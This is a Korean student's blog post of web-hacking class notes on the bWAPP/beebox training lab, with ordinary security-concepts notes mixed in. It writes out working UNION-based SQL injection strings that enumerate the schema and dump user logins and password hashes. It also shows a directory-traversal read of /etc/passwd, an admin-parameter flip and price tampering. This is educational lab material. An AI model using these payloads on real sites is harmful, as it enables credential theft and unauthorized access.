공부/Application Security

9월 8일 웹해킹 5

마준123 2022. 9. 8. 10:14

*SQL Injection 사전지식

 

 Database

( DB를 잘 모르는 사람들이 있어서 설명해 주셨는데, 난 사실 데이터베이스 관련 수업을 2개나 들었고 성적도 나쁘진 않았지만 할때마다 SQL문같은건 잘 생각이 안나서 맨날 찾아본다.. 그래서 좋았다.. ㅋ)

강사님이 PPT를 많이 잘 다루신다

 

실습)

 다시 어제하던 beebox의 SQL Injection (GET/Search) 로 가보자

 

*모든 계정에 대한 ID와 PW를 알아내려면?

- DB이름, TABLE이름, Column 이름을 알아내야 함

 

*SELECT문 뒤에 또 SELECT문을 사용하려면?

 UNION으로 연결

  ex) SELECT ~~~~~ UNION SELECT ~~~~~~~~~

앞에는 학생 뒤에는 회사원,주부 이렇게는 안된다!  / 일치해야 함!

 

*영화 검색창에서 실행되는 Select 문을 예상해보자

 SELECT ?,?,?,? FROM ???? WHERE movie='                       ';     //아는게 별로없고 movie도 확실하지 않다

 SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT ~~~~~';  //UNION을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황!

 SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1#'; //1개를 넣었을때 1개가 아니면 Different number of columns 라고 나옴

 SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2#';   //2개도 안될지도

 SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2,3#';  //3개도 안될지도..

 SELECT ?,?,?,? FROM ???? WHERE movie='' UNION SELECT 1,2,3,4# ';   //4개도 될지 안될지 모르지만 다 해보는거다

 

일단 표에서 나오는거만 해도 5개는 되는거같은데 그래서 123은 건너뛰고 4부터 해봐야곘다.

아닐때 나오는 멘트
7개를 넣었을때 성공해서 맨 밑에 이상한 줄이 추가된 모습

' UNION SELECT 1,2,3,4,5,6,7#     // 7개를 넣으면 정상 실행됨, 보려는 값들은 2,3,4,5 에 넣어야함

 

참고 ) 철민 씨의 방법

참고) 철민씨의 방법 order by

 

 

근데 위에 너무 쓸모없는게 많이 뜨니까

man ' UNION SELECT 1,2,3,4,5,6,7#     //합집합 개념이므로 man 이 포함된 경우와 같이 나옴

마준 ' UNION SELECT 1,2,3,4,5,6,7#     //우리가 요청한 컬럼만 나옴

 

이런 식으로 뜨면 어차피 마준이라는 이름이 들어간 영화는 없으니까 다 지워지고 나오게 할 수 있다.

 

* DB명을 알아내려면?

 (내부함수 : database() 는 DB명을 알려줌, version()은 MySQL버전을 알려줌, user()는 사용자 이름을 알려줌)

 

마준 ' UNION SELECT 1,database(),version(),user(),5,6,7#   //그럼 이제 이렇게 넣어보자

각종 정보 노출중

* 버전이 필요한 이유 : 해당 버전의 취약점을 알아 볼 수 있다.

 

1. DB명 : bWAPP

 

*테이블 명을 알아보자 

마준 ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables#

나오긴 나오는데 너무많이 나옴 / 마준 ' UNION SELECT   1,2,3, table_name ,5,6,7 FROM  information_schema.tables #

마준 ' UNION SELECT 1,2,3,table_name,5,6,7 FROM information_schema.tables WHERE table_schema='bWAPP'#

이렇게 하면 필요한 것만 나올거같다.

마준 ' UNION SELECT   1,2,3, table_name ,5,6,7 FROM  information_schema.tables  WHERE table_schema='bWAPP'#

5개만 나온모습

 

users 라는 테이블이 있음! (개인정보가 가득 들어있을 예정)

 

*컬럼명을 알아내려면?

마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP'#

마준 ' UNION SELECT   1,2,3,column _name ,5,6,7 FROM  information_schema.columns  WHERE table_schema='bWAPP'#

근데 아까보다는 아니지만 그래도 많이나오니까 더 줄여본다

 

마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='users'#

마준 ' UNION SELECT   1,2,3,column _name ,5,6,7 FROM  information_schema.columns  WHERE table_schema='bWAPP' AND table_name='users'#

실제 저런구조인지 가서 beebox 가서 확인해보자

나온걸 확인할 수 있다.

 

여기서

use bWAPP;

입력해서 bWAPP를 사용하고

show tables;

입력해서 테이블 확인해보자

use bWAPP; / show tables;

아까 알아봤던게 그대로 있다.

 

그럼 이번엔

decs users;

를 입력해서 users 테이블에 어떤 컬럼이 있는지 확인해보자

decs users;

users 테이블의 내용을 확인하려면

select * from users;

select * from users;

줄바꿈 때문에 좀 이상하게 나왔지만 내가 지난번에 만든게 나오긴 나왔다.

 

이제 information_schema로 DB를 바꿔서 다른걸 좀 알아보자

show tables;
desc tables; / tables 라는 테이블의 컬럼 보기

table_schema 라는 컬럼과 table_name 라는 컬럼이 있음!

desc columns;

table_schema, table_name, column_name 등의 이름을 가진 컬럼이 있음!!

 

이런걸 봐두면 다른 DB에 가서도 금방 적응할 수 있다.

 

*우리가 원하는 컬럼은?

마준 ' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='users'# 

 -------------> 중에서 ID, Login, Password, Secret 을 뽑아내보자!

 

마준 ' UNION SELECT 1,id,login,secret,password,6,7 FROM users #

 

마준 ' UNION SELECT   1,id,login,secret ,password,6,7 FROM users # / 개인정보 탈탈 터는모습

 그런데 패스워드가 해시값으로 나온다.

 원래는 해시값으로 원문(password)를 알수는 없다.

 

하지만 미리 계산해 놓은 사이트가 있어서 가서 물어보자!  https://hashes.com/ : 해시값을 알려주면 원문을 알려줌 (Salt가 없는경우만 가능)

 

1234

이런식으로 나온다

얘는 왜 안나오지; 7aab3c6dd85a401d3f2cdefea9ca3140296fd6dc

내가 내 아이디 비번을 뭘로했길래 안나올까..?

질문 했더니 답변 해 주셨다

(너무 어렵게 만들어서 만든사람도 까먹음)

 

 

dynamite

*그런데 이 문장들이 해시값인지는 어떻게 알았을까요?

 - a부터 f 까지의 알파벳(g이후로는 없음) 과 0부터 9까지의 숫자로 이루어져 있음 ---->hex-decimal (16진수)

- 16진수는 2의 4승이므로 4bit임 ( 각자리가 4 bit) ------> 40자리 * 4bit = 160bit ---->SHA-1의 해시값, 등등

 

추가정보

-------------------------------------------------------------------------------------------------------------------------------------

* 정보 보호의 3요소

 - 기밀성 ( Confidentiality ) : 내용이 노출되지 않도록 하는 것

 - 무결성 ( Integrity ) : 내용이 변조되지 않도록 하는 것

 - 가용성 ( Availability ) : 항상 사용 가능한 상태를 유지하는 것

 

*일반기업( 사기업 ) 은 기밀성 > 무결성 > 가용성

 ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

 ----->암호화, 업무분리 (Job Seperation)

 

*공공기관, 공기업은 가용성 > 무결성 > 기밀성

 ex) 항만, 철도, 공항, 통신 (전화, 인터넷), 전력, 정부기관망 등등 ---->전쟁을 전후로 사회 인프라를 공격하는 시도

 ------> 망분리(운용망과 인터넷 분리)

 

*보안 개발 생명 주기

 - Life Cycle : 너무 오래된 소프트 웨어는 취약점도 많고 노후화 되면 페기해야 함

 - 6~7년 지나면 차세대 시스템 사업 ( 교체 ) : 은행, 공공기관 사이트들의 개선 작업

 

실습 ) A4 : Insecure DOR (Order Tickets)     //영화관 티켓 자리 다 먹어서 조져버리기 실습

 - 영화티켓 구매하는 페이지에서 영화티켓 하나에 15EUR (약 2만 700원)

 

* 어떻게 하면 1EUR에 볼 수 있을까요?

  그냥 개발자 도구에서 value 값을 변경해주면 되는거같다

근데 실제 이렇게 운영되는 사이트는 없을듯

 

강사님이 방법이 하나 더 있다고 하셨는데 아마 프록시를 이용하는거같다

ticket_price 를 바꾸면 될거같다.
777EUR로 바뀐모습

두 방법 모두 가능하고 난 777유로로 해버렸다~ ㅋㅋ

 

이런식으로 가격을 낮춰서 혼자 다 예약 해버리는거다.

 

 -  최근에는 CMS ( Contents Managemant System ) 을 도입한 회사들이 많이 있음

   -----------> 가격이 변조되지 않았는지, 비정상 적으로 처리되지 않았는지 확인하는 시스템

 

-----------------------------------------------------------------------------------------------------------------------------------

 

실습 ) BeeBox A7 : Directory Traversal - Directories

 - 디렉토리가 그대로 노출되고 있음

 - 웹쉘을 업로드 하고, 웹쉘 업로드한 경로를 찾기 어려울 때 디렉토리가 그대로 노출되면 쉽게 실행 가능

 

 

 * 그러면 /home/wolverine 디렉토리에 있는 PDF 파일은 몇개 일까요?

 원래 주소가 

http://192.168.5.130/bWAPP/directory_traversal_2.php?directory=documents

 이거였는데 밑에꺼로 바꿔주면

http://192.168.5.130/bWAPP/directory_traversal_2.php?directory=/home/wolverine/Examples

 된다

pdf 파일의 갯수를 세면 된다.

 

실습 2번째 ) A7 : Directory Traversal - Files

 - 파일 내용이 그대로 노출됨

 -  /ect/passwd 에 보면 neo의 UID는 무엇일까요?

   똑같이 http://192.168.5.130/bWAPP/directory_traversal_1.php?page=/etc/passwd 이런식으로 접근 하면 된다.

정답 : neo:x:1001:1001::/home/neo:/bin/sh

    정답 : neo:x:1001:1001::/home/neo:/bin/sh

 

* 디렉토리가 노출되는 사이트의 특징

 index.of

 parent directory

 ----------------->검색어에 넣으면 디렉토리 노출되는 사이트를 보여줌

 

* 자산 (Asset) 에는 항상 약점 (Weakness) 이 있음

 ex) 금,은,다이아몬드, 현금의 약점 : 누구껀지 이름이 안써있음, 쉽게 이동이 가능함

 - 약점은 항상 존재함 ( 없어지지 않음 )

 - 약점중에서 특정 버전에 특히 심각한 손상을 입힐 수 있는 부분을 취약점 ( Vulnerability, Vulns ) 이라고 함

 - 취약점 중에서 특히 실제 공격이 가능하면 Exploit 라고함 ( Exploit 는 취약점을 공격한다는 의미 )

 

 ** - Zeroday Exploit  :

 - 알려지지 않은 취약점 ( 패치가 아직 없음, 제조사가 아직 모르는 상태 )

 - 무방비 상태에서 공격을 하는 것

 - 제조사가 패치를 만들기 전 ( PoC 이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우 등등)

 - 패치를 만드는데 걸리는 시간? 25~50일 (PoC --> 설계 --> 개발 --> 테스터(안되면 다시 PoC로) )

 - 엠바고 ( 뉴스에 내지 말라고 언론에 요청함 )

 - Drak Web에서 고액으로 거래가 되기도 함 ( iPhone 이 매우비쌈 > Windows > ...... )

 

 

 ** - Oneday Exploit  : 알려진 취약점 ( 패치가 나와있음, 설치 안하면 공격 가능 )

 - 패치가 있는데 왜 적용을 하지 않을까요? 의존성 ( Dependancy )문제 ---->OS를 업데이트하면 APP이 잘 안돌아갈수도

 - 반도체 생산라인 OS를 업데이트?? 에러 발생시 엄청난 손실이 발생할 우려

   Version : 3.2.8  ( 3: 업그레이드, 2: 업데이트, 8:패치 )

 

----------------------------------------------------------------------------------------------------------------------------------------------------

 

* Shodan : IoT기기를 검색하는 검색 엔진

   --------------->취약한 IoT 기기를 검색하거나 ID/PW가 취약한 장치를 파악할 때 사용

 - shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋다?? ( 내 눈을 가리는 행위 , 전세계 사람들은 다 보는데 우리만 안봐야 의미가 없다)

 

* Credential Stuffing ( 크리덴셜 스터핑, 자격 증명 스터핑 )

 - 취약한 사이트에서 여러사람의 ID/PW 목록을 알아냄

 - 다른 사이트에 대입해보는 공격 방식

 - 원인 : 사용자들이 여러사이트에서 대부분 같은 ID/PW를 사용하는걸 이용

 - 대응방법 : 강력한 보안 솔루션 사용?(X) ----> 사용자들이 사이트마다 서로 다른 ID/PW를 사용해야 함

 

실습 ) A2 : Broken Auth. - Insecure Login Forms

강사님은 개발자 도구 들어가서 수정했는데 사실 그전에 드래그만 해도 바로 보였다 ㅋㅋ

어이없음 ㅋㅋ

 

어처구니 없지만 이런식으로 숨겨놓거나 저장해놓거나 공유하는경우가 그만큼 많다는 의미이다.

 

실습 ) A2  Session Mgmt. - Administrative Portals

http://192.168.5.130/bWAPP/smgmt_admin_portal.php?admin=0 인 url을

힌트가 너무 빡센걸 줬네

http://192.168.5.130/bWAPP/smgmt_admin_portal.php?admin=1 로 바꾸면 끝난다 ㅋㅋ

이제 Medium 으로 가보자

힌트가 누가봐도 프록시 바꾸라는거죠?

admin = 0 을 1로 변경
성공

근데 ㅋㅋ프록시 아니라 크롬에서 쿠키값 변경하는 툴 써도 될거같다.

지금 접속한게 익플 아니었으면 그걸로 했을듯

강사님도 설명해주시는게 edit cookie를 이용해서 하는걸 먼저 설명 해 주셨다.

 

실습 ) A6 : Base64 Encoding (Secret)

이렇게 나오길래 https://www.base64decode.org/ 에 접속해서 디코딩 했는데

 

이렇게 나왔다.

그런데 이게 답이 아니라고한다 ㅠ

 

---------------------------------------------------------------------------------------------------------------------------------------------

정답 )

알고보니 %가 껴있어서 BlueBell_Decoder 에서 2번 거쳐야 했다..

 

*Medium

누가봐도 해시값

답은 똑같았다.

 

실습 ) 로그아웃하고 blackpink 아이디로 다시 로그인 한다 다음에 같은 문제를 풀어보자

원래 답은 제니인데 난 가입할때 이상한걸 넣었어서 이상한 값이 나온다 ㅋㅋㅋㅋ;

 

 

 

실습 ) A2 : Broken Auth. - Logout Management

맞다고 하셨다

사실 로그아웃 하면 쿠키값이 삭제되어야 하는데 유지되고 있어서 수동으로 바꿔서 실습한 상황이다 ㅋㅋ

왜인지 로그아웃 했는데도 프록시에서 계속 같은 쿠키값을 보내서 좀 이상하다고 생각했다..

 

'공부 > Application Security' 카테고리의 다른 글

9월14일 웹해킹 7  (0) 2022.09.14
9월13일 웹해킹 6  (2) 2022.09.13
9월7일 웹해킹 4  (0) 2022.09.07
9월6일 웹해킹 3  (0) 2022.09.06
9월 5일 웹해킹 2  (0) 2022.09.05